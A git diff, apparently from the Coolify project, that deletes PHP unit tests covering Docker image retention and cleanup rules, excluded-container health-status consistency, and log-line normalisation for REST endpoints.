+uses(TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser'); /* |-------------------------------------------------------------------------- diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.php deleted file mode 100644 index 93f2a9afc0..0000000000 --- a/tests/Unit/Actions/Server/CleanupDockerTest.php +++ /dev/null @@ -1,458 +0,0 @@ - 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'], - ['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'], - ['repository' => 'app-uuid', 'tag' => 'pr-123', 'created_at' => '2024-01-03', 'image_ref' => 'app-uuid:pr-123'], - ['repository' => 'app-uuid', 'tag' => 'pr-456', 'created_at' => '2024-01-04', 'image_ref' => 'app-uuid:pr-456'], - ['repository' => 'app-uuid', 'tag' => 'abc123-build', 'created_at' => '2024-01-05', 'image_ref' => 'app-uuid:abc123-build'], - ['repository' => 'app-uuid', 'tag' => 'def456-build', 'created_at' => '2024-01-06', 'image_ref' => 'app-uuid:def456-build'], - ]); - - // PR images (tags starting with 'pr-') - $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-')); - expect($prImages)->toHaveCount(2); - expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456'); - - // Build images (tags ending with '-build', excluding PR builds) - $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); - expect($buildImages)->toHaveCount(2); - expect($buildImages->pluck('tag')->toArray())->toContain('abc123-build', 'def456-build'); - - // Regular images (neither PR nor build) - these are subject to retention policy - $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); - expect($regularImages)->toHaveCount(2); - expect($regularImages->pluck('tag')->toArray())->toContain('abc123', 'def456'); -}); - -it('filters out currently running image from deletion candidates', function () { - $images = collect([ - ['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'], - ['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'], - ['repository' => 'app-uuid', 'tag' => 'ghi789', 'created_at' => '2024-01-03', 'image_ref' => 'app-uuid:ghi789'], - ]); - - $currentTag = 'def456'; - - $deletionCandidates = $images->filter(fn ($image) => $image['tag'] !== $currentTag); - - expect($deletionCandidates)->toHaveCount(2); - expect($deletionCandidates->pluck('tag')->toArray())->not->toContain('def456'); - expect($deletionCandidates->pluck('tag')->toArray())->toContain('abc123', 'ghi789'); -}); - -it('keeps the correct number of images based on docker_images_to_keep setting', function () { - $images = collect([ - ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], - ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], - ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'], - ['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'], - ['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'], - ]); - - $currentTag = 'commit5'; - $imagesToKeep = 2; - - // Filter out current, sort by date descending, keep N - $sortedImages = $images - ->filter(fn ($image) => $image['tag'] !== $currentTag) - ->sortByDesc('created_at') - ->values(); - - $imagesToDelete = $sortedImages->skip($imagesToKeep); - - // Should delete commit1, commit2 (oldest 2 after keeping 2 newest: commit4, commit3) - expect($imagesToDelete)->toHaveCount(2); - expect($imagesToDelete->pluck('tag')->toArray())->toContain('commit1', 'commit2'); -}); - -it('deletes all images when docker_images_to_keep is 0', function () { - $images = collect([ - ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], - ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], - ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'], - ]); - - $currentTag = 'commit3'; - $imagesToKeep = 0; - - $sortedImages = $images - ->filter(fn ($image) => $image['tag'] !== $currentTag) - ->sortByDesc('created_at') - ->values(); - - $imagesToDelete = $sortedImages->skip($imagesToKeep); - - // Should delete all images except the currently running one - expect($imagesToDelete)->toHaveCount(2); - expect($imagesToDelete->pluck('tag')->toArray())->toContain('commit1', 'commit2'); -}); - -it('does not delete any images when there are fewer than images_to_keep', function () { - $images = collect([ - ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], - ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], - ]); - - $currentTag = 'commit2'; - $imagesToKeep = 5; - - $sortedImages = $images - ->filter(fn ($image) => $image['tag'] !== $currentTag) - ->sortByDesc('created_at') - ->values(); - - $imagesToDelete = $sortedImages->skip($imagesToKeep); - - // Should not delete anything - we have fewer images than the keep limit - expect($imagesToDelete)->toHaveCount(0); -}); - -it('handles images with custom registry names', function () { - // Test that the logic works regardless of repository name format - $images = collect([ - ['repository' => 'registry.example.com/my-app', 'tag' => 'v1.0.0', 'created_at' => '2024-01-01', 'image_ref' => 'registry.example.com/my-app:v1.0.0'], - ['repository' => 'registry.example.com/my-app', 'tag' => 'v1.1.0', 'created_at' => '2024-01-02', 'image_ref' => 'registry.example.com/my-app:v1.1.0'], - ['repository' => 'registry.example.com/my-app', 'tag' => 'pr-99', 'created_at' => '2024-01-03', 'image_ref' => 'registry.example.com/my-app:pr-99'], - ]); - - $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-')); - $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); - - expect($prImages)->toHaveCount(1); - expect($regularImages)->toHaveCount(2); -}); - -it('correctly identifies PR build images as PR images', function () { - // PR build images have tags like 'pr-123-build' - // They are identified as PR images (start with 'pr-') and will be deleted - $images = collect([ - ['repository' => 'app-uuid', 'tag' => 'pr-123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:pr-123'], - ['repository' => 'app-uuid', 'tag' => 'pr-123-build', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:pr-123-build'], - ]); - - // PR images include both pr-123 and pr-123-build (both start with 'pr-') - $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-')); - - expect($prImages)->toHaveCount(2); -}); - -it('defaults to keeping 2 images when setting is null', function () { - $defaultValue = 2; - - // Simulate the null coalescing behavior - $dockerImagesToKeep = null ?? $defaultValue; - - expect($dockerImagesToKeep)->toBe(2); -}); - -it('does not delete images when count equals images_to_keep', function () { - // Scenario: User has 3 images, 1 is running, 2 remain, keep limit is 2 - // Expected: No images should be deleted - $images = collect([ - ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], - ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], - ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'], - ]); - - $currentTag = 'commit3'; // This is running - $imagesToKeep = 2; - - $sortedImages = $images - ->filter(fn ($image) => $image['tag'] !== $currentTag) - ->sortByDesc('created_at') - ->values(); - - // After filtering out running image, we have 2 images - expect($sortedImages)->toHaveCount(2); - - $imagesToDelete = $sortedImages->skip($imagesToKeep); - - // Skip 2, leaving 0 to delete - expect($imagesToDelete)->toHaveCount(0); -}); - -it('handles scenario where no container is running', function () { - // Scenario: 2 images exist, none running, keep limit is 2 - // Expected: No images should be deleted (keep all 2) - $images = collect([ - ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], - ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], - ]); - - $currentTag = ''; // No container running, empty tag - $imagesToKeep = 2; - - $sortedImages = $images - ->filter(fn ($image) => $image['tag'] !== $currentTag) - ->sortByDesc('created_at') - ->values(); - - // All images remain since none match the empty current tag - expect($sortedImages)->toHaveCount(2); - - $imagesToDelete = $sortedImages->skip($imagesToKeep); - - // Skip 2, leaving 0 to delete - expect($imagesToDelete)->toHaveCount(0); -}); - -it('handles Docker Compose service images with uuid_servicename pattern', function () { - // Docker Compose with build: directive creates images like uuid_servicename:tag - $images = collect([ - ['repository' => 'app-uuid_web', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid_web:commit1'], - ['repository' => 'app-uuid_web', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid_web:commit2'], - ['repository' => 'app-uuid_worker', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid_worker:commit1'], - ['repository' => 'app-uuid_worker', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid_worker:commit2'], - ]); - - // All images should be categorized as regular images (not PR, not build) - $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-')); - $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); - - expect($prImages)->toHaveCount(0); - expect($regularImages)->toHaveCount(4); -}); - -it('correctly excludes Docker Compose images from general prune', function () { - // Test the grep pattern that excludes application images - // Pattern should match both uuid:tag and uuid_servicename:tag - $appUuid = 'abc123def456'; - $excludePattern = preg_quote($appUuid, '/'); - - // Images that should be EXCLUDED (protected) - $protectedImages = [ - "{$appUuid}:commit1", // Standard app image - "{$appUuid}_web:commit1", // Docker Compose service - "{$appUuid}_worker:commit2", // Docker Compose service - ]; - - // Images that should be INCLUDED (deleted) - $deletableImages = [ - 'other-app:latest', - 'nginx:alpine', - 'postgres:15', - ]; - - // Test the regex pattern used in buildImagePruneCommand - $pattern = "/^({$excludePattern})[_:].+/"; - - foreach ($protectedImages as $image) { - expect(preg_match($pattern, $image))->toBe(1, "Image {$image} should be protected"); - } - - foreach ($deletableImages as $image) { - expect(preg_match($pattern, $image))->toBe(0, "Image {$image} should be deletable"); - } -}); - -it('excludes current version of the Coolify helper image from any registry', function () { - $helperVersion = '1.0.12'; - - $escapedHelperVersion = preg_quote($helperVersion, '/'); - $infraPattern = "(^|/)coollabsio/coolify-helper:{$escapedHelperVersion}$"; - $pattern = "#{$infraPattern}#"; - - $protectedImages = [ - "ghcr.io/coollabsio/coolify-helper:{$helperVersion}", - "docker.io/coollabsio/coolify-helper:{$helperVersion}", - "coollabsio/coolify-helper:{$helperVersion}", - ]; - - foreach ($protectedImages as $image) { - expect(preg_match($pattern, $image))->toBe(1, "Current infrastructure image {$image} should be protected"); - } - - $oldVersionImages = [ - 'ghcr.io/coollabsio/coolify-helper:1.0.11', - 'docker.io/coollabsio/coolify-helper:1.0.10', - 'coollabsio/coolify-helper:1.0.9', - 'ghcr.io/coollabsio/coolify-helper:latest', - ]; - - foreach ($oldVersionImages as $image) { - expect(preg_match($pattern, $image))->toBe(0, "Old infrastructure image {$image} should NOT be protected"); - } - - $deletableImages = [ - 'nginx:alpine', - 'postgres:15', - 'redis:7', - 'mysql:8.0', - 'node:20', - ]; - - foreach ($deletableImages as $image) { - expect(preg_match($pattern, $image))->toBe(0, "Image {$image} should NOT be protected"); - } -}); - -it('protects current helper image from any registry even when no applications exist', function () { - $helperVersion = '1.0.12'; - - $escapedHelperVersion = preg_quote($helperVersion, '/'); - $infraPattern = "(^|/)coollabsio/coolify-helper:{$escapedHelperVersion}$"; - $pattern = "#{$infraPattern}#"; - - expect(preg_match($pattern, "ghcr.io/coollabsio/coolify-helper:{$helperVersion}"))->toBe(1); - expect(preg_match($pattern, "docker.io/coollabsio/coolify-helper:{$helperVersion}"))->toBe(1); - expect(preg_match($pattern, "coollabsio/coolify-helper:{$helperVersion}"))->toBe(1); - - expect(preg_match($pattern, 'ghcr.io/coollabsio/coolify-helper:1.0.11'))->toBe(0); - expect(preg_match($pattern, 'docker.io/coollabsio/coolify-helper:1.0.11'))->toBe(0); - expect(preg_match($pattern, 'nginx:alpine'))->toBe(0); -}); - -it('deletes build images not matching retained regular images', function () { - // Simulates the Nixpacks scenario from issue #8765: - // Many -build images accumulate because they were excluded from both cleanup paths - $images = collect([ - ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], - ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], - ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'], - ['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'], - ['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'], - ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], - ['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'], - ['repository' => 'app-uuid', 'tag' => 'commit3-build', 'created_at' => '2024-01-03 09:00:00', 'image_ref' => 'app-uuid:commit3-build'], - ['repository' => 'app-uuid', 'tag' => 'commit4-build', 'created_at' => '2024-01-04 09:00:00', 'image_ref' => 'app-uuid:commit4-build'], - ['repository' => 'app-uuid', 'tag' => 'commit5-build', 'created_at' => '2024-01-05 09:00:00', 'image_ref' => 'app-uuid:commit5-build'], - ]); - - $currentTag = 'commit5'; - $imagesToKeep = 2; - - $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); - $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); - - $sortedRegularImages = $regularImages - ->filter(fn ($image) => $image['tag'] !== $currentTag) - ->sortByDesc('created_at') - ->values(); - - // Determine kept tags: current + N newest rollback - $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); - if (! empty($currentTag)) { - $keptTags = $keptTags->push($currentTag); - } - - // Kept tags should be: commit5 (running), commit4, commit3 (2 newest rollback) - expect($keptTags->toArray())->toContain('commit5', 'commit4', 'commit3'); - - // Build images to delete: those whose base tag is NOT in keptTags - $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { - $baseTag = preg_replace('/-build$/', '', $image['tag']); - - return ! $keptTags->contains($baseTag); - }); - - // Should delete commit1-build and commit2-build (their base tags are not kept) - expect($buildImagesToDelete)->toHaveCount(2); - expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build', 'commit2-build'); - - // Should keep commit3-build, commit4-build, commit5-build (matching retained images) - $buildImagesToKeep = $buildImages->filter(function ($image) use ($keptTags) { - $baseTag = preg_replace('/-build$/', '', $image['tag']); - - return $keptTags->contains($baseTag); - }); - expect($buildImagesToKeep)->toHaveCount(3); - expect($buildImagesToKeep->pluck('tag')->toArray())->toContain('commit5-build', 'commit4-build', 'commit3-build'); -}); - -it('deletes all build images when retention is disabled', function () { - $images = collect([ - ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], - ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], - ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], - ['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'], - ]); - - $currentTag = 'commit2'; - $imagesToKeep = 0; // Retention disabled - - $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); - $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); - - $sortedRegularImages = $regularImages - ->filter(fn ($image) => $image['tag'] !== $currentTag) - ->sortByDesc('created_at') - ->values(); - - // With imagesToKeep=0, only current tag is kept - $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); - if (! empty($currentTag)) { - $keptTags = $keptTags->push($currentTag); - } - - $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { - $baseTag = preg_replace('/-build$/', '', $image['tag']); - - return ! $keptTags->contains($baseTag); - }); - - // commit1-build should be deleted (not retained), commit2-build kept (matches running) - expect($buildImagesToDelete)->toHaveCount(1); - expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build'); -}); - -it('container prune excludes persistent resource types', function () { - $sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php'); - - expect($sourceFile)->toContain('label!=coolify.type=database'); - expect($sourceFile)->toContain('label!=coolify.type=application'); - expect($sourceFile)->toContain('label!=coolify.type=service'); - expect($sourceFile)->toContain('label!=coolify.proxy=true'); - expect($sourceFile)->toContain('label=coolify.managed=true'); -}); - -it('uses persisted buildx metadata when pruning the railpack builder', function () { - $sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php'); - - expect($sourceFile) - ->toContain(": '\$HOME/.docker/buildx';") - ->toContain('docker run --rm -v {$buildxMetadataVolume}:/root/.docker/buildx') - ->toContain('docker buildx prune --builder coolify-railpack -af') - ->not->toContain('--buildkitd-flags'); -}); - -it('preserves build image for currently running tag', function () { - $images = collect([ - ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], - ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], - ]); - - $currentTag = 'commit1'; - $imagesToKeep = 2; - - $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); - $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); - - $sortedRegularImages = $regularImages - ->filter(fn ($image) => $image['tag'] !== $currentTag) - ->sortByDesc('created_at') - ->values(); - - $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); - if (! empty($currentTag)) { - $keptTags = $keptTags->push($currentTag); - } - - $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { - $baseTag = preg_replace('/-build$/', '', $image['tag']); - - return ! $keptTags->contains($baseTag); - }); - - // Build image for running tag should NOT be deleted - expect($buildImagesToDelete)->toHaveCount(0); -}); diff --git a/tests/Unit/AllExcludedContainersConsistencyTest.php b/tests/Unit/AllExcludedContainersConsistencyTest.php deleted file mode 100644 index bdab6e145d..0000000000 --- a/tests/Unit/AllExcludedContainersConsistencyTest.php +++ /dev/null @@ -1,223 +0,0 @@ -toContain('trait CalculatesExcludedStatus') - ->toContain('protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string') - ->toContain('protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string') - ->toContain('protected function getExcludedContainersFromDockerCompose(?string $dockerComposeRaw): Collection'); -}); - -it('ensures ComplexStatusCheck uses CalculatesExcludedStatus trait', function () { - $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php'); - - // Verify trait is used - expect($complexStatusCheckFile) - ->toContain('use App\Traits\CalculatesExcludedStatus;') - ->toContain('use CalculatesExcludedStatus;'); - - // Verify it uses the trait method instead of inline code - expect($complexStatusCheckFile) - ->toContain('return $this->calculateExcludedStatus($containers, $excludedContainers);'); - - // Verify it uses the trait helper for excluded containers - expect($complexStatusCheckFile) - ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);'); -}); - -it('ensures PushServerUpdateJob uses CalculatesExcludedStatus trait', function () { - $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php'); - - // Verify trait is used - expect($pushServerUpdateJobFile) - ->toContain('use App\Traits\CalculatesExcludedStatus;') - ->toContain('use CalculatesExcludedStatus;'); - - // Verify it calculates excluded status instead of skipping (old behavior: continue) - expect($pushServerUpdateJobFile) - ->toContain('// If all containers are excluded, calculate status from excluded containers') - ->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);'); - - // Verify it uses the trait helper for excluded containers - expect($pushServerUpdateJobFile) - ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);'); -}); - -it('ensures PushServerUpdateJob calculates excluded status for applications', function () { - $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php'); - - // In aggregateMultiContainerStatuses, verify the all-excluded scenario - // calculates status and updates the application - expect($pushServerUpdateJobFile) - ->toContain('if ($relevantStatuses->isEmpty()) {') - ->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);') - ->toContain('if ($aggregatedStatus && $application->status !== $aggregatedStatus) {') - ->toContain('$application->status = $aggregatedStatus;') - ->toContain('$application->save();'); -}); - -it('ensures PushServerUpdateJob calculates excluded status for services', function () { - $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php'); - - // Count occurrences - should appear twice (once for applications, once for services) - $calculateExcludedCount = substr_count( - $pushServerUpdateJobFile, - '$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);' - ); - - expect($calculateExcludedCount)->toBe(2, 'Should calculate excluded status for both applications and services'); -}); - -it('ensures GetContainersStatus uses CalculatesExcludedStatus trait', function () { - $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Verify trait is used - expect($getContainersStatusFile) - ->toContain('use App\Traits\CalculatesExcludedStatus;') - ->toContain('use CalculatesExcludedStatus;'); - - // Verify it calculates excluded status instead of returning null - expect($getContainersStatusFile) - ->toContain('// If all containers are excluded, calculate status from excluded containers') - ->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);'); - - // Verify it uses the trait helper for excluded containers - expect($getContainersStatusFile) - ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);'); -}); - -it('ensures GetContainersStatus calculates excluded status for applications', function () { - $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // In aggregateApplicationStatus, verify the all-excluded scenario returns status - expect($getContainersStatusFile) - ->toContain('if ($relevantStatuses->isEmpty()) {') - ->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);'); -}); - -it('ensures GetContainersStatus calculates excluded status for services', function () { - $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // In aggregateServiceContainerStatuses, verify the all-excluded scenario updates status - expect($getContainersStatusFile) - ->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);') - ->toContain('if ($aggregatedStatus) {') - ->toContain('$statusFromDb = $subResource->status;') - ->toContain("if (\$statusFromDb !== \$aggregatedStatus) {\n \$subResource->update(['status' => \$aggregatedStatus]);"); -}); - -it('ensures excluded status format is consistent across all paths', function () { - $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php'); - - // Trait now delegates to ContainerStatusAggregator and uses appendExcludedSuffix helper - expect($traitFile) - ->toContain('use App\\Services\\ContainerStatusAggregator;') - ->toContain('$aggregator = new ContainerStatusAggregator;') - ->toContain('private function appendExcludedSuffix(string $status): string'); - - // Check that appendExcludedSuffix returns consistent colon format with :excluded suffix - expect($traitFile) - ->toContain("return 'degraded:excluded';") - ->toContain("return 'paused:excluded';") - ->toContain("return 'starting:excluded';") - ->toContain("return 'exited';") - ->toContain('return "$status:excluded";'); // For running:healthy:excluded, running:unhealthy:excluded, etc. -}); - -it('ensures all three paths check for exclude_from_hc flag consistently', function () { - // All three should use the trait helper method - $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php'); - $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php'); - $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - expect($complexStatusCheckFile) - ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);'); - - expect($pushServerUpdateJobFile) - ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);'); - - expect($getContainersStatusFile) - ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);'); - - // The trait method should check both exclude_from_hc and restart: no - $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php'); - expect($traitFile) - ->toContain('$excludeFromHc = data_get($serviceConfig, \'exclude_from_hc\', false);') - ->toContain('$restartPolicy = data_get($serviceConfig, \'restart\', \'always\');') - ->toContain('if ($excludeFromHc || $restartPolicy === \'no\') {'); -}); - -it('ensures calculateExcludedStatus uses ContainerStatusAggregator', function () { - $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php'); - - // Check that the trait uses ContainerStatusAggregator service instead of duplicating logic - expect($traitFile) - ->toContain('protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string') - ->toContain('use App\Services\ContainerStatusAggregator;') - ->toContain('$aggregator = new ContainerStatusAggregator;') - ->toContain('$aggregator->aggregateFromContainers($excludedOnly)'); - - // Check that it has appendExcludedSuffix helper for all states - expect($traitFile) - ->toContain('private function appendExcludedSuffix(string $status): string') - ->toContain("return 'degraded:excluded';") - ->toContain("return 'paused:excluded';") - ->toContain("return 'starting:excluded';") - ->toContain("return 'exited';") - ->toContain('return "$status:excluded";'); // For running:healthy:excluded -}); - -it('ensures calculateExcludedStatusFromStrings uses ContainerStatusAggregator', function () { - $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php'); - - // Check that the trait uses ContainerStatusAggregator service instead of duplicating logic - expect($traitFile) - ->toContain('protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string') - ->toContain('use App\Services\ContainerStatusAggregator;') - ->toContain('$aggregator = new ContainerStatusAggregator;') - ->toContain('$aggregator->aggregateFromStrings($containerStatuses)'); - - // Check that it has appendExcludedSuffix helper for all states - expect($traitFile) - ->toContain('private function appendExcludedSuffix(string $status): string') - ->toContain("return 'degraded:excluded';") - ->toContain("return 'paused:excluded';") - ->toContain("return 'starting:excluded';") - ->toContain("return 'exited';") - ->toContain('return "$status:excluded";'); // For running:healthy:excluded -}); - -it('verifies no code path skips update when all containers excluded', function () { - $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php'); - $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // These patterns should NOT exist anymore (old behavior that caused drift) - expect($pushServerUpdateJobFile) - ->not->toContain("// If all containers are excluded, don't update status"); - - expect($getContainersStatusFile) - ->not->toContain("// If all containers are excluded, don't update status"); - - // Instead, both should calculate excluded status - expect($pushServerUpdateJobFile) - ->toContain('// If all containers are excluded, calculate status from excluded containers'); - - expect($getContainersStatusFile) - ->toContain('// If all containers are excluded, calculate status from excluded containers'); -}); diff --git a/tests/Unit/Api/LogEndpointHelpersTest.php b/tests/Unit/Api/LogEndpointHelpersTest.php index e298def5dd..53fc6ad00d 100644 --- a/tests/Unit/Api/LogEndpointHelpersTest.php +++ b/tests/Unit/Api/LogEndpointHelpersTest.php @@ -39,32 +39,6 @@ it('keeps MCP log requests bounded', function () { ->and($normalizer->normalize('501'))->toBe(500); }); -it('documents the named all logs option on every REST log endpoint', function (string $controller) { - $source = file_get_contents(__DIR__."/../../../app/Http/Controllers/Api/{$controller}.php"); - - expect($source)->toContain('Use `all` to return all logs. `-1` remains available as a compatibility alias.'); -})->with([ - 'applications' => 'ApplicationsController', - 'databases' => 'DatabasesController', - 'services' => 'ServicesController', - 'service applications' => 'ServiceApplicationsController', - 'service databases' => 'ServiceDatabasesController', -]); - -it('normalizes service resource log line counts before invoking Docker', function (string $controller, mixed $lines, int $expectedLines) { - $source = file_get_contents(__DIR__."/../../../app/Http/Controllers/Api/{$controller}.php"); - - expect($source)->toContain('$lines = normalizeLogLines($request->query(\'lines\'));') - ->and(normalizeLogLines($lines))->toBe($expectedLines); -})->with([ - 'application invalid value' => ['ServiceApplicationsController', 'invalid', 100], - 'application negative value' => ['ServiceApplicationsController', '-5', 100], - 'application value above limit' => ['ServiceApplicationsController', '50000', 10000], - 'database invalid value' => ['ServiceDatabasesController', 'invalid', 100], - 'database negative value' => ['ServiceDatabasesController', '-5', 100], - 'database value above limit' => ['ServiceDatabasesController', '50000', 10000], 